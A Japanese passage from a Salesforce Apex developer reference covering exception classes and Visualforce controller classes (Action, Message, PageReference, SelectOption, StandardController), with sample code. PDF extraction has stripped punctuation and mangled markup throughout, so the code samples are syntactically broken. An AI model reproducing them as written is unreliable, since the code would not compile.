ユーザ定義例外クラスはクラス名の末尾にexceptionをつけなければなりませんたとえば「MyException」や「PurchaseException」などですすべての例外クラスは自動的にシステム定義基本クラスexceptionを拡張したものとなります

たとえば次のコードは匿名ブロック内の例外タイプを定義します

public class MyException extends Exception

try Integer i コードをここに記述if (i lt 5) throw new MyException() catch (MyExceptione) 作成した MyException 処理コードをここに記述

Java クラスと同様にユーザ定義例外タイプは継承ツリーを構成しキャッチブリックはどの部分も取得することができます例

public class BaseException extends Exception public class OtherException extendsBaseException

try Integer i コードをここに記述if (i lt 5) throw new OtherException(This is bad) catch (BaseException e) OtherException を取得

この項で説明する内容は次のとおりです

参照 Version 180 | 例外クラス | 315

bull 例外のコンストラクトbull 例外変数の使用

「例外メソッドの使用」を参照してください

例外のコンストラクト

次のような例外をコンストラクトすることができます

bull 引数のないもの

new MyException()

bull エラーメッセージを指定する 1 つの String 型の引数を取るもの

new MyException(This is bad)

bull 任意のスタックトレースに表示する原因を指定する 1 つの Exception 型の引数を取るもの

new MyException(e)

bull String 型のエラーメッセージと任意のスタックトレースに表示される例外チェーンの両方を取るもの

new MyException(This is bad e)

たとえば次のコードはMy1ExceptionとMy2Exceptionの両方の情報を含むスタックトレースを生成します

public class My1Exception extends Exception public class My2Exception extends Exception try throw new My1Exception() catch (My1Exception e) throw new My2Exception(Thisis bad e)

次の図は上記のコードを実行した結果のスタックトレースを示します

参照 Version 180 | 例外クラス | 316

図 8 例外のスタックトレース (デバッグログより)

例外変数の使用

Java と同様に変数引数戻り値の型は Exception 型として宣言できますException 型は Apex ではシステム定義基本クラスです例

Exception e1 try String s = null stolowercase() null ポインタ例外を生成します catch(SystemNullPointerException e) e1 = e この例外は変数に割り当てるか 他のメ

ソッドへまたは他のメソッドから渡されます

Visualforce クラス管理者にビジネスロジックをボタンのクリックや関連レコードの更新などの Salesforcecom システムイベントに追加する機能を与えるほかApex を使用してカスタム Visualforce コントローラおよびコントローラ拡張を使用して Visualforce ページにカスタムロジックを提供することもできます

bull カスタムコントローラは標準コントローラを使用せずすべてのページのロジックを実装するApexで記述されるクラスですカスタムコントローラを使用すると新しいナビゲーション要素または動作を定義できますが標準コントローラにすでに定義された機能も再実装する必要があります

その他のApexクラス同様カスタムコントローラ全体はシステムモードで実行されます現在のユーザーのオブジェクトと項目レベルの権限は無視されますユーザのプロファイルに基づいてユーザーがカスタムコントローラでメソッドを実行できるかどうかを指定できます

bull コントローラ拡張は標準コントローラまたはカスタムコントローラの動作に追加または上書きするApexで記述されるクラスです拡張によって独自のカスタムロジックを追加するほか別のコントローラの機能を使用できます

標準コントローラはユーザーモードで実行し現在のユーザーの権限項目レベルのセキュリティ共有ルールが強制されるため標準コントローラを拡張するとユーザー権限を重視する Visualforce ページを構築で

参照 Version 180 | Visualforce クラス | 317

きます拡張クラスはシステムモードで実行しますが標準コントローラはユーザーモードで実行しますカスタムコントローラと同様ユーザのプロファイルに基づいてユーザーがカスタムコントローラでメソッドを実行できるかどうかを指定できます

ここではカスタムVisualforceコントローラおよびコントローラ拡張を構築する場合に使用できるシステムによって提供された Apex について説明しますその具体的な内容は次のとおりです

bull Actionクラスbull Messageクラスbull PageReference クラスbull SelectOptionクラスbull StandardController クラスbull StandardSetController クラス

これらのクラスに加えコントローラおよびコントローラ拡張でメソッドを宣言する場合にtransientキーワードを使用できます詳細は「transientキーワードの使用」 (ページ 104)を参照してください

Visualforce の詳細はwwwsalesforcecomusdeveloperdocspagesindexhtm の『Visualforce Developers Guide』を参照してください

Actionクラス

ApexPagesActionクラスを使用してVisualforce カスタムコントローラまたはコントローラ拡張で使用できるアクションメソッドを作成できますたとえばカスタム save を実行できるコントローラ拡張に saveOverメソッドを作成できます

インスタンス化

次のコードの抜粋はsave アクションを使用する新しい ApexPagesAction オブジェクトのインスタンス化の方法について説明しています

ApexPagesAction saveAction = new ApexPagesAction(save)

メソッド

アクションメソッドはActionのある特定のインスタンスからコールされ処理されます

次の表はActionのインスタンスメソッドを示します

説明戻り値の型引数名前

アクションが呼び出されたときに評価される式を返します

StringgetExpression

アクションを呼び出しますSystemPageReferenceinvoke

次の例ではユーザーが新しい取引先を更新または作成し[保存]ボタンをクリックした場合更新されたまたは作成された取引先に加えシステムデバッグログにメッセージを書き込みますこの例では取引先の標準コントローラを拡張します

参照 Version 180 | Visualforce クラス | 318

次にコントローラ拡張を示します

public class acctSaveExtension

public final Account acct

ApexPagesAction saveAction = new ApexPagesAction(newSave)

public acctSaveExtension (ApexPagesStandardController stdController) thisacct =(Account)stdControllergetRecord()

public void saveOver() Systemdebug(Extension called action +saveActiongetExpression()) saveActioninvoke()

public void newSave() try update acct catch(DmlException ex) ApexPagesaddMessages(ex)

次に上記のコントローラ拡張を使用するページの Visualforce マークアップを示します

ltapexpage standardController=Account extensions=acctSaveExtensiongt ltapexformgtltapexinputField value=accountnamegt ltpgt ltapexcommandButton value=Saveaction=saveOvergt ltapexformgt ltapexpagegt

デバッグログの詳細はSalesforcecom オンラインヘルプの「デバッグログ詳細の表示」を参照してください

IdeaStandardController クラス

IdeaStandardController オブジェクトはStandardController クラスで提供される機能のほかIdeas 固有の機能を提供します

メモ IdeaStandardSetController クラスおよび IdeaStandardController クラスは現在限定リリースプログラムでのみ使用できます組織のこれらのクラスの有効化に関する詳細は株式会社セールスフォースドットコム の担当者までお問い合わせください

インスタンス化

IdeaStandardController オブジェクトはインスタンス化できません標準アイデアコントローラを使用してカスタム拡張コントローラのコンストラクタを通してインスタンスを取得できます

メソッド

IdeaStandardController オブジェクトのメソッドはIdeaStandardController の特定のインスタンスで呼び出され操作されます

次の表はIdeaStandardController のインスタンスメソッドを示します

説明戻り値の型引数名前

現在のページの読み取り専用コメントのリストを返しますこのメソッドは次のコメントプロパティを返します

IdeaComment[]getCommentList

bull id

bull commentBody

bull createdDate

bull createdById

参照 Version 180 | Visualforce クラス | 319

説明戻り値の型引数名前

bull createdBycommunityNickname

上記メソッドのほかIdeaStandardController クラスは StandardController クラスに関連するすべてのメソッドを継承します次の表にこれらのメソッドの一覧を示します

説明戻り値の型引数名前

キャンセルページの PageReference を返しますSystemPageReferencecancel

レコードを削除し削除ページの PageReference を返します

SystemPageReferencedelete

標準編集ページの PageReference を返しますSystemPageReferenceedit

Visualforceページ URL のidクエリ文字列パラメータの値に基づいて現在コンテキストにあるレコードの ID を返します

StringgetId

Visualforceページ URL のidクエリ文字列パラメータの値に基づいて現在コンテキストにあるレコードを返します

関連する Visualforce マークアップで参照される項目のみがこの SObject について問い合わせるこ

SObjectgetRecord

とができます関連するオブジェクトの項目などその他の項目はすべてSOQL 表現を使用して問い合わせる必要があります

ヒント 問い合わせしたい追加項目を参照する非表示コンポーネントを使用してこの制約を回避することができますコンポーネントのrendered属性をfalseに設定してコンポーネントを非表示にします例

ltapexoutputTextvalue=accountbillingcityaccountcontactsrendered=falsegt

変更を保存し更新された PageReference を返します

SystemPageReferencesave

標準詳細ページの PageReference オブジェクトを返します

SystemPageReferenceview

参照 Version 180 | Visualforce クラス | 320

次の例ではIdeaStandardController オブジェクトをカスタムリストコントローラのコンストラクタでどのように使用できるかを示しますこの例ではVisualforce ページを表示する前にコメントリストデータを処理するフレームワークを示します

public class MyIdeaExtension

private final ApexPagesIdeaStandardController ideaController

public MyIdeaExtension(ApexPagesIdeaStandardController controller) ideaController =(ApexPagesIdeaStandardController)controller

public ListltIdeaCommentgt getModifiedComments() IdeaComment[] comments =ideaControllergetCommentList() modify comments here return comments

次のVisualforceマークアップは上記の IdeaStandardController の例をどのようにページ内で使用できるかを示しますこの例が機能するページの名前は detailPageでなければなりません

メモ Visualforce ページにアイデアおよびコメントを表示するには次の例でコメントを表示する特定のアイデアの ID (例 apexdetailPageid=ltideaIDgt) を指定する必要があります

lt-- page named detailPage --gt ltapexpage standardController=Ideaextensions=MyIdeaExtensiongt ltapexpageBlock title=Idea Sectiongt ltideasdetailOutputLinkpage=detailPage ideaId=ideaidgtideatitle ltideasdetailOutputLinkgt ltbrgtltbrgtltapexoutputText gtideabodyltapexoutputTextgt ltapexpageBlockgt ltapexpageBlocktitle=Comments Sectiongt ltapexdataList var=a value=modifiedComments id=listgtacommentBody ltapexdataListgt ltideasdetailOutputLink page=detailPageideaId=ideaid pageOffset=-1gtPrevltideasdetailOutputLinkgt | ltideasdetailOutputLinkpage=detailPage ideaId=ideaid pageOffset=1gtNextltideasdetailOutputLinkgtltapexpageBlockgt ltapexpagegt

IdeaStandardSetController クラス

IdeaStandardSetController オブジェクトはStandardSetController クラスで提供される機能のほかIdeas 固有の機能を提供します

メモ IdeaStandardSetController クラスおよび IdeaStandardController クラスは現在限定リリースプログラムでのみ使用できます組織のこれらのクラスの有効化に関する詳細は株式会社セールスフォースドットコム の担当者までお問い合わせください

インスタンス化

IdeaStandardSetController オブジェクトはインスタンス化できません相手あの標準リストコントローラを使用してカスタム拡張コントローラのコンストラクタを通してインスタンスを取得できます

メソッド

IdeaStandardSetController オブジェクトのメソッドはIdeaStandardSetController の特定のインスタンスで呼び出され操作されます

次の表はIdeaStandardSetController のインスタンスメソッドを示します

参照 Version 180 | Visualforce クラス | 321

説明戻り値の型引数名前

現在のページセットの読み取り専用アイデアのリストを返しますltideaslistOutputLinkgt

Idea[]getIdeaList

ltideasprofileListOutputLinkgtおよびltideasdetailOutputLinkgtコンポーネントを使用してアイデアリストや詳細ページのほかプロファイルページを表示できます (下記の例参照)次にこのメソッドで返されるプロパティのリストを示しますbull Body

bull Categories

bull Category

bull CreatedByCommunityNickname

bull CreatedById

bull CreatedDate

bull Id

bull LastCommentDate

bull LastCommentId

bull LastCommentCommentBody

bull LastCommentCreatedById

bull LastCommentCreatedByCommunityNickname

bull NumComments

bull Status

bull Title

bull VoteTotal

上記メソッドのほかIdeaStandardSetController クラスは StandardSetController クラスに関連するすべてのメソッドを継承します

メモ StandardSetController クラスから継承したメソッド使用してもgetIdeaListメソッドによって返されたアイデアのリストには影響ありません

次の表に継承されるメソッドの一覧を示します

説明戻り値の型引数名前

元のページ (わかっている場合)またはホームページの PageReference を返します

SystemPageReferencecancel

レコードの最初のページを返しますVoidfirst

最大レコード数の制限以上にセット内にレコード数があるかどうかを示します偽の場合リスト

BooleangetCompleteResult

コントローラを使用して処理できる数以上のレコードがあります最大レコード数は 10000 レコードです

参照 Version 180 | Visualforce クラス | 322

説明戻り値の型引数名前

現在のコンテキストにある絞込み条件の ID を返します

StringgetFilterId

現在のページセットの後により多くのレコードがあるかを示します

BooleangetHasNext

現在のページセットの前により多くのレコードがあるかを示します

BooleangetHasPrevious

現在のユーザーに使用できるリストビューのリストを返します

SystemSelectOption[]getListViewOptions

現在のページセットのページ番号を返します最初のページは 1 を返します

IntegergetPageNumber

各ページセットに含まれているレコード数を返します

IntegergetPageSize

選択したれコートへの変更を示す sObject を返します

sObjectgetRecord

現在のページセットの sObject のリストを返します

sObject[]getRecords

セット内のレコード数を返しますIntegergetResultSize

選択されている sObject のリストを返しますsObject[]getSelected

レコードの最後のページを返しますVoidlast

レコードの次のページを返しますVoidnext

レコードの前のページを返しますVoidprevious

新しいレコードを挿入または変更されている既存のレコードを更新しますこの操作が完了した後

SystemPageReferencesave

元のページ (わかっている場合)またはホームページの PageReference を返します

コントローラの絞り込み条件 ID を設定しますVoidString filterIdsetFilterID

ページ番号を設定しますVoidInteger pageNumbersetpageNumber

各ページセットのレコード数を設定しますVoidInteger pageSizesetPageSize

選択したレコードを設定しますVoidsObjects[]selectedRecords

setSelected

例 プロファイルページの表示

次の例ではIdeaStandardSetController オブジェクトをカスタムリストコントローラのコンストラクタでどのように使用できるかを示します

public class MyIdeaProfileExtension private final ApexPagesIdeaStandardSetControllerideaSetController

参照 Version 180 | Visualforce クラス | 323

public MyIdeaProfileExtension(ApexPagesIdeaStandardSetController controller) ideaSetController = (ApexPagesIdeaStandardSetController)controller

public ListltIdeagt getModifiedIdeas() Idea[] ideas = ideaSetControllergetIdeaList() modify ideas here return ideas

次の Visualforce マークアップは上記の IdeaStandardSetController の例がどのように表示されるかを示しltideasprofileListOutputLinkgtコンポーネントを使用して最新の回答を表示するプロファイルページを表示できますこの例は特定のユーザ ID を示さないためページには自動的に現在ログインしているユーザのプロファイルページが表示されますこの例が機能するページの名前は profilePageでなければなりません

lt-- page named profilePage --gt ltapexpage standardController=Ideaextensions=MyIdeaProfileExtension recordSetVar=ideaSetVargt ltapexpageBlock gtltideasprofileListOutputLink sort=recentReplies page=profilePagegt RecentRepliesltideasprofileListOutputLinkgt | ltideasprofileListOutputLink sort=ideaspage=profilePagegtIdeas Submitted ltideasprofileListOutputLinkgt |ltideasprofileListOutputLink sort=votes page=profilePagegtIdeas VotedltideasprofileListOutputLinkgt ltapexpageBlockgt ltapexpageBlock gt ltapexdataListvalue=modifiedIdeas var=ideadatagt ltideasdetailoutputlink ideaId=ideadataidpage=viewPagegt ideadatatitleltideasdetailoutputlinkgt ltapexdataListgt ltapexpageBlockgtltapexpagegt

前述の例ではltideasdetailoutputlinkgtコンポーネントは特定のアイデアの詳細ページを表示する次のVisualforce マークアップにリンクしますこの例が機能するページの名前は viewPageでなければなりません

lt-- page named viewPage --gt ltapexpage standardController=Ideagt ltapexpageBlock title=IdeaSectiongt ltideasdetailOutputLink page=viewPage ideaId=ideaidgtideatitleltideasdetailOutputLinkgt ltbrgtltbrgt ltapexoutputTextgtideabodyltapexoutputTextgtltapexpageBlockgt ltapexpagegt

例 上位最近使用したおよび最も人気のあるアイデアおよびコメントのリストを表示

次の例ではIdeaStandardSetController オブジェクトをカスタムリストコントローラのコンストラクタでどのように使用できるかを示します

メモ この例がアイデアを返すには少なくとも 1 つのアイデアを作成する必要があります

public class MyIdeaListExtension private final ApexPagesIdeaStandardSetControllerideaSetController

public MyIdeaListExtension (ApexPagesIdeaStandardSetController controller) ideaSetController = (ApexPagesIdeaStandardSetController)controller

public ListltIdeagt getModifiedIdeas() Idea[] ideas = ideaSetControllergetIdeaList() modify ideas here return ideas

次の Visualforce マークアップは上記の IdeaStandardSetController 例をltideaslistOutputLinkgtコンポーネントとともに使用して最近の上位のおよび最も人気あるアイデアおよびコメントをどのように表示するかを示しますこの例が機能するページの名前は listPageでなければなりません

lt-- page named listPage --gt ltapexpage standardController=Ideaextensions=MyIdeaListExtension recordSetVar=ideaSetVargt ltapexpageBlock gt

参照 Version 180 | Visualforce クラス | 324

ltideaslistOutputLink sort=recent page=listPagegtRecent Ideas ltideaslistOutputLinkgt |ltideaslistOutputLink sort=top page=listPagegtTop Ideas ltideaslistOutputLinkgt |ltideaslistOutputLink sort=popular page=listPagegtPopular Ideas ltideaslistOutputLinkgt| ltideaslistOutputLink sort=comments page=listPagegtRecent CommentsltideaslistOutputLinkgt ltapexpageBlockgt ltapexpageBlock gt ltapexdataListvalue=modifiedIdeas var=ideadatagt ltideasdetailoutputlink ideaId=ideadataidpage=viewPagegt ideadatatitleltideasdetailoutputlinkgt ltapexdataListgt ltapexpageBlockgtltapexpagegt

前述の例ではltideasdetailoutputlinkgtコンポーネントは特定のアイデアの詳細ページを表示する次のVisualforce マークアップにリンクしますこのページの名前は viewPageでなければなりません

lt-- page named viewPage --gt ltapexpage standardController=Ideagt ltapexpageBlock title=IdeaSectiongt ltideasdetailOutputLink page=viewPage ideaId=ideaidgtideatitleltideasdetailOutputLinkgt ltbrgtltbrgt ltapexoutputTextgtideabodyltapexoutputTextgtltapexpageBlockgt ltapexpagegt

Messageクラス

標準コントローラを使用している場合エンドユーザが保存したときに発生するすべての入力規則エラー (標準カスタムとも) が自動的にページの error コレクションに追加されますinputFieldコンポーネントがエラーを返すとそのコンポーネントの page error コレクションにエラーメッセージが追加されますまたそのページの error コレクションにすべてのメッセージが追加されます詳細は『Visualforce Developers Guide』の「入力規則と標準コントローラ」を参照してください

アプリケーションでカスタムコントローラや拡張コントローラを使用している場合はエラー管理用のmessage

クラスを使用する必要があります

インスタンス化

カスタムコントローラまたはコントローラ拡張の場合次のいずれかの方法でMassage をインスタンス化できます

bull ApexPagesMessage myMsg = new ApexPagesMessage(ApexPagesseverity summary)

ここでApexPagesseverityはメッセージの重要度を指定する enum でsummaryはメッセージを要約するために使用する String です例

ApexPagesMessage myMsg = new ApexPagesMessage(ApexPagesSeverityFATAL エラーメッセージ)

bull ApexPagesMessage myMsg = new ApexPagesMessage(ApexPagesseverity summary detail)

ここでApexPages severityはメッセージの重要度を指定する enum でsummaryはメッセージを要約するために使用する Stringdetailはエラーに関する詳細情報を説明する String used to です

メソッド

Message メソッドはMessage のある特定のインスタンスからコールされ処理されます

次の表はMessage のインスタンスメソッドを示します

参照 Version 180 | Visualforce クラス | 325

説明戻り値の型引数名前

関連する inputFieldコンポーネントのラベルを返しますラベルが定義されていない場合メソッドは null を返します

StringgetComponentLabel

メッセージの作成に使用する詳細パラメータの値を返します詳細の String が指定されていない場合このメソッドは null を返します

StringgetDetail

メッセージの作成に使用する重要度の enum を返します

ApexPagesSeveritygetSeverity

メッセージの作成に使用する要約の String を返します

StringgetSummary

ApexPagesSeverity Enum

ApexPagesSeverity enum 値を使用してメッセージの重要度を指定します有効な値は次のとおりです

bull CONFIRM

bull ERROR

bull FATAL

bull INFO

bull WARNING

すべての enum はnameや valueなど標準メソッドにアクセスできます

PageReference クラス

A PageReference はページのインスタンス化への参照ですその他の属性に対しPageReferences は URL や一連のクエリパラメータ名および値で構成されています

PageReference オブジェクトを使用する目的は次のとおりです

bull ページのクエリ文字列パラメータおよび値を表示または設定するbull ユーザーをアクションメソッドの結果として異なるページにナビゲートする

インスタンス化

カスタムコントローラまたはコントローラ拡張の場合 次のいずれかの方法でPageReference を参照またはインスタンス化できます

参照 Version 180 | Visualforce クラス | 326

bull PageexistingPageName

組織内にすでに保存されている Visualforce ページの PageReference を参照しますこのようにページを参照することによってプラットフォームはこのコントローラまたはコントローラ拡張が指定されたページの有無に依存することを認識しページがコントローラまたは拡張が存在する間に削除されないようにします

bull PageReference pageRef = new PageReference(partialURL)

Forcecom プラットフォームでホストされるページに PageReference を作成しますたとえばpartialURL

をapexHelloWorldに設定するとhttpmySalesforceInstanceapexHelloWorldにあるVisualforceページを参照します同様にpartialURLを + recordID二設定すると指定されたレコードの詳細ページを参照します

この構文はPageReference はコンパイル時に参照されるだけではなく実行時に構築されるためPageexistingPageNameページ以外のVisualforceページの参照には推奨されませんランタイムの参照は参照の信頼性システムには使用できませんその結果プラットフォームはこのコントローラまたはコントローラ拡張機能が指定されたページの有無によって異なることを認識せずエラーメッセージが表示されないためページが削除されません

bull PageReference pageRef = new PageReference(fullURL)

外部 URL の PageReference を作成します例

PageReference pageRef = new PageReference(httpwwwgooglecom)

currentPage ApexPages メソッドで現在のページの PageReference オブジェクトをインスタンス化することもできます例

PageReference pageRef = ApexPagescurrentPage()

メソッド

PageReference メソッドはPageReference のある特定のインスタンスからコールされ処理されます

次の表はPageReference のインスタンスメソッドを示します

説明戻り値の型引数名前

ページ上のアンカーの名前を返しますStringgetAnchor

Web ブラウザでユーザーに対して表示されるようにページの出力を返します返される Blob の内

BlobgetContent

容はページがどのように表示されるかに依存しますページを PDF で表示するとPDF を返しますページを PDF で表示しない場合HTMLを返します返される HTML の内容に文字列としてアクセスするにはtoString Blob メソッドを使用します

メモ テストメソッドで getContentを使用するとPDF として表示されるVisualforce ページで使用する場合空白のPDF が表示されます

参照 Version 180 | Visualforce クラス | 327

説明戻り値の型引数名前

getContentをトリガで使用することはできません

Visualforce ページにエラーがない場合ExecutionExceptionが返されます

e ltapexpagegtコンポーネントの renderAs属性に関係なくページを PDF として返します

BlobgetContentAsPDF

要求ヘッダーのマップを返しますキー文字列にはヘッダー名が含まれ値文字列にはヘッダーの

MapltString StringgtgetHeaders

値が含まれますこのマップを変更してPageReference オブジェクトの範囲に保持できますたとえば次を実行できますPageReferencegetParameters()put(Date9999)

ページ URL に含まれるクエリ文字列パラメータのマップを返しますキー文字列にはパラメータ

MapltString StringgtgetParameters

の名前が含まれ値文字列にはパラメータの値が含まれますこのマップを変更してPageReferenceオブジェクトの範囲に保持できますたとえば次を実行できますPageReferencegetParameters()put(idmyID)

PageReference オブジェクトの redirect属性の現在の値を返します

PageReference オブジェクトの URL がsalesforcecomドメイン外のWeb サイトに設定

BooleangetRedirect

されている場合redirect属性が真または偽のどちらに設定されているかに関係なくリダイレクトが必ず発生します

元来定義されている場合はPageReference に関連する URL を返します

StringgetUrl

ページ上のアンカーの名前を設定しますSystemPageReferenceString AnchorsetAnchor

PageReference オブジェクトの redirect属性の値を返しますtrue の場合クライアント側のリダ

SystemPageReferenceBoolean redirectsetRedirect

イレクトでリダイレクトが実行されますこの種類のリダイレクトは HTTP GET 要求を実行しPOST を使用して表示状況を更新しますfalse に設定するとリダイレクトは表示状況を保つサーバー側の転送でターゲットページが同じコントローラを使用しソースページに使用される拡張の適切なサブセットを含みます

参照 Version 180 | Visualforce クラス | 328

説明戻り値の型引数名前

PageReference オブジェクトの URL がsalesforcecomドメイン外のWeb サイトまたは別のコントローラまたはコントローラ拡張を含むページにに設定されている場合redirect属性が真または偽のどちらに設定されているかに関係なくリダイレクトが必ず発生します

例 クエリ文字列パラメータの取得

次の例ではPageReference オブジェクトを使用して現在の URL のクエリ文字列パラメータを取得する方法を示しますこの例ではgetAccountメソッドは idクエリ文字列パラメータを参照します

public class MyController

public Account getAccount() return [SELECT id name FROM Account WHERE id =ApexPagescurrentPage()getParameters()get(id)]

次のページマークアップは上記のコントローラから getAccountメソッドをコールします

ltapexpage controller=MyControllergt ltapexpageBlock title=Retrieving Query StringParametersgt You are viewing the accountname accountltapexpageBlockgt ltapexpagegt

メモ

この例が正しく機能するにはVisualforce ページを URL の有効な取引先レコードを関連付ける必要がありますたとえば001D000000IRt53が取引先 ID の場合次の URL を使用します

httpsSalesforcecom_instanceapexMyFirstPageid=001D000000IRt53

getAccountメソッドは埋め込み SOQL クエリを使用してページの URL の idパラメータで指定した取引先を返しますidにアクセスするためにgetAccountメソッドは次のようにグローバル ApexPages名前空間を使用します

bull まずcurrentPageメソッドが現在のページの PageReferenceインスタンスを返しますPageReference

はクエリ文字列パラメータなどVisualforce ページへの参照を返しますbull ページ参照を使用してgetParametersメソッドを使用して指定されたクエリ文字列パラメータの名前と

値のマップを返しますbull そしてidを指定する getメソッドはidパラメータ自体の値を返します

例 アクションメソッドの結果として新しいページへの移動

カスタムコントローラまたはコントローラ拡張のアクションメソッドはメソッドの結果として PageReferenceオブジェクトを返すことができますPageReference の redirect属性を真に設定すると PageReference に指定された URL に移動します

参照 Version 180 | Visualforce クラス | 329

次の例ではsaveメソッドでどのように実装できるかを示しますこの例ではsaveメソッドで返されたPageReference はユーザーを保存された取引先レコードの詳細ページに移動させます

public class mySecondController

Account account

public Account getAccount() if(account == null) account = new Account() return account

public PageReference save()

データベースに取引先を追加します insert account

ユーザーを新しい取引先の詳細ページに移動させますPageReference acctPage = newApexPagesStandardController(account)view() acctPagesetRedirect(true)

return acctPage

次のページマークアップは上記のコントローラから saveメソッドをコールしますユーザーが [保存] をクリックすると作成されたばかりの取引先の詳細ページに移動します

ltapexpage controller=mySecondController tabStyle=Accountgt ltapexsectionHeader title=NewAccount Edit Page gt ltapexformgt ltapexpageBlock title=Create a New AccountgtltapexpageBlockButtons location=bottomgt ltapexcommandButton action=save value=SavegtltapexpageBlockButtonsgt ltapexpageBlockSection title=Account Informationgt ltapexinputFieldid=accountName value=accountnamegt ltapexinputField id=accountSitevalue=accountsitegt ltapexpageBlockSectiongt ltapexpageBlockgt ltapexformgt ltapexpagegt

SelectOptionクラス

SelectOption オブジェクトは Visualforce selectCheckboxesselectListまたは selectRadioコンポーネントの可能な値のいずれかを指定しますSelectOption オブジェクトはエンドユーザーに表示されるラベルオプションが選択されている場合はコントローラに返される値で構成されていますSelectOption は無効な状態で表示することもできますそのためユーザーはオプションとして選択することはできませんが表示することはできます

インスタンス化カスタムコントローラまたはコントローラ拡張の場合次のいずれかの方法でSelectOption をインスタンス化できます

参照 Version 180 | Visualforce クラス | 330

bull SelectOption option = new SelectOption(value label isDisabled)

valueはオプションをユーザーが選択されている場合のコントローラに返される String ですlabelはオプションの選択としてユーザーに表示されている String ですisDisabledは Boolean で真の場合オプションが表示されているにもかかわらすオプションを選択することができないように指定します

bull SelectOption option = new SelectOption(value label)

valueはオプションをユーザーが選択されている場合コントローラに返される String ですlabelはオプションの選択としてユーザーに表示されている String ですisDisabledの値は選択されていないためオプションは表示されユーザーはそれを選択することができます

メソッド

SelectOption メソッドはSelectOption のある特定のインスタンスからコールされ処理されます

次の表はSelectOption のインスタンスメソッドを示します

説明戻り値の型引数名前

SelectOption オブジェクトの isDisabled属性の現在の値を返しますisDisabledがtrueに設定

BooleangetDisabled

されている場合オプションは表示されますがユーザーは選択することはできませんisDisabledが falseに設定されている場合オプションは表示されユーザーはオプションを選択することができます

SelectOption オブジェクトの itemEscaped属性の現在の値を返しますitemEscapedが trueに設

BooleangetEscapeItem

定されている場合センシティブな HTML および XML 文字はこのコンポーネントによって生成された HTML 出力にエスケープされますitemEscapedが falseに設定されている場合項目は書き込まれたとおりに表示されます

ユーザーに表示されるオプションラベルを返します

StringgetLabel

ユーザーがオプションを選択する場合コントローラに返されるオプション値を返します

StringgetValue

SelectOption オブジェクトの isDisabled属性の値を返しますisDisabledがtrueに設定されて

VoidBooleanisDisabled

setDisabled

いる場合オプションは表示されますがユーザーは選択することはできませんisDisabledがfalseに設定されている場合オプションは表示されユーザーはオプションを選択することができます

SelectOption オブジェクトの itemEscaped属性の値を返しますitemEscapedが trueに設定され

VoidBooleanitemsEscaped

setEscapeItem

参照 Version 180 | Visualforce クラス | 331

説明戻り値の型引数名前

ている場合センシティブな HTML および XML文字はこのコンポーネントによって生成されたHTML 出力にエスケープされますitemEscaped

がfalseに設定されている場合項目は書き込まれたとおりに表示されます

ユーザーに表示されるオプションラベルの値を設定します

VoidString lsetLabel

ユーザーがオプションを選択する場合コントローラに返されるオプション値の値を設定します

VoidString vsetValue

次の例ではSelectOptions オブジェクトのリストを使用してVisualforceページの selectCheckboxesコンポーネントに可能な値を提供することができます次のカスタムコントローラでgetItemsメソッドは可能なSelectOption オブジェクトのリストを定義して返します

public class sampleCon

String[] countries = new String[]

public PageReference test() return null

public ListltSelectOptiongt getItems() ListltSelectOptiongt options = new ListltSelectOptiongt()optionsadd(new SelectOption(USUS)) optionsadd(new SelectOption(CANADACanada))optionsadd(new SelectOption(MEXICOMexico)) return options

public String[] getCountries() return countries

public void setCountries(String[] countries) thiscountries = countries

次のページマークアップでltapexselectOptionsgtタグは上記のコントローラの getItemsメソッドを使用して可能な値のリストを取得しますltapexselectOptionsgtはltapexselectCheckboxesgtタグの子であるためオプションはチェックボックスとして表示されます

ltapexpage controller=sampleCongt ltapexformgt ltapexselectCheckboxes value=countriesgtltapexselectOptions value=itemsgt ltapexselectCheckboxesgtltbrgt ltapexcommandButtonvalue=Test action=test rerender=out status=statusgt ltapexformgt ltapexoutputPanelid=outgt ltapexactionstatus id=status startText=testinggtltapexfacet name=stopgtltapexoutputPanelgt ltpgtYou have selectedltpgt ltapexdataList value=countriesvar=cgtcltapexdataListgt ltapexoutputPanelgt ltapexfacetgt ltapexactionstatusgtltapexoutputPanelgt ltapexpagegt

StandardController クラス

StandardController オブジェクトはsalesforcecomが提供する事前に構築されたVisualforceコントローラを参照しますStandardController オブジェクトを参照する必要があるのは標準コントローラの拡張を定義している場合のみですStandardController は拡張クラスコンストラクタの単一引数のデータ型です

参照 Version 180 | Visualforce クラス | 332

インスタンス化

次のような方法でStandardController をインスタンス化することができます

bull ApexPagesStandardController sc = new ApexPagesStandardController(sObject)

メソッド

StandardController メソッドはStandardController のある特定のインスタンスからコールされ処理されます

次の表はStandardController のインスタンスメソッドを示します

説明戻り値の型引数名前

キャンセルページの PageReference を返しますSystemPageReferencecancel

レコードを削除し削除ページの PageReference を返します

SystemPageReferencedelete

標準編集ページの PageReference を返しますSystemPageReferenceedit

Visualforceページ URL のidクエリ文字列パラメータの値に基づいて現在コンテキストにあるレコードの ID を返します

StringgetId

Visualforceページ URL のidクエリ文字列パラメータの値に基づいて現在コンテキストにあるレコードを返します

関連する Visualforce マークアップで参照される項目のみがこの SObject について問い合わせるこ

SObjectgetRecord

とができます関連するオブジェクトの項目などその他の項目はすべてSOQL 表現を使用して問い合わせる必要があります

ヒント 問い合わせしたい追加項目を参照する非表示コンポーネントを使用してこの制約を回避することができますコンポーネントのrendered属性をfalseに設定してコンポーネントを非表示にします例

ltapexoutputTextvalue=accountbillingcityaccountcontactsrendered=falsegt

変更を保存し更新された PageReference を返します

SystemPageReferencesave

標準詳細ページの PageReference オブジェクトを返します

SystemPageReferenceview

参照 Version 180 | Visualforce クラス | 333

次の例ではStandardController オブジェクトを標準コントローラ拡張のコンストラクタでどのように使用できるかを示します

public class myControllerExtension

private final Account acct

拡張コンストラクタは標準コントローラの getRecord メソッドを使用してプライベートメンバー 変数の acct を初期化します public myControllerExtension(ApexPagesStandardController stdController) thisacct = (Account)stdControllergetRecord()

public String getGreeting() return Hello + acctname + ( + acctid + )

次の Visualforce マークアップは上記のコントローラ拡張をどのようにページ内で使用できるかを示します

ltapexpage standardController=Account extensions=myControllerExtensiongt greetingltpgt ltapexformgt ltapexinputField value=accountnamegt ltpgt ltapexcommandButtonvalue=Save action=savegt ltapexformgt ltapexpagegt

StandardSetController クラス

StandardController オブジェクトを使用してSalesforcecom が提供する事前に構築された Visualforce リストコントローラに類似したまたはそのリストコントローラの拡張としてリストコントローラを作成することができます

メモ 他の Salesforcecom オブジェクトに必要な項目はこのプロトタイプオブジェクトを使用する場合と同じ必要性です

Apex の一括処理について次のガバナ制限に注意してください

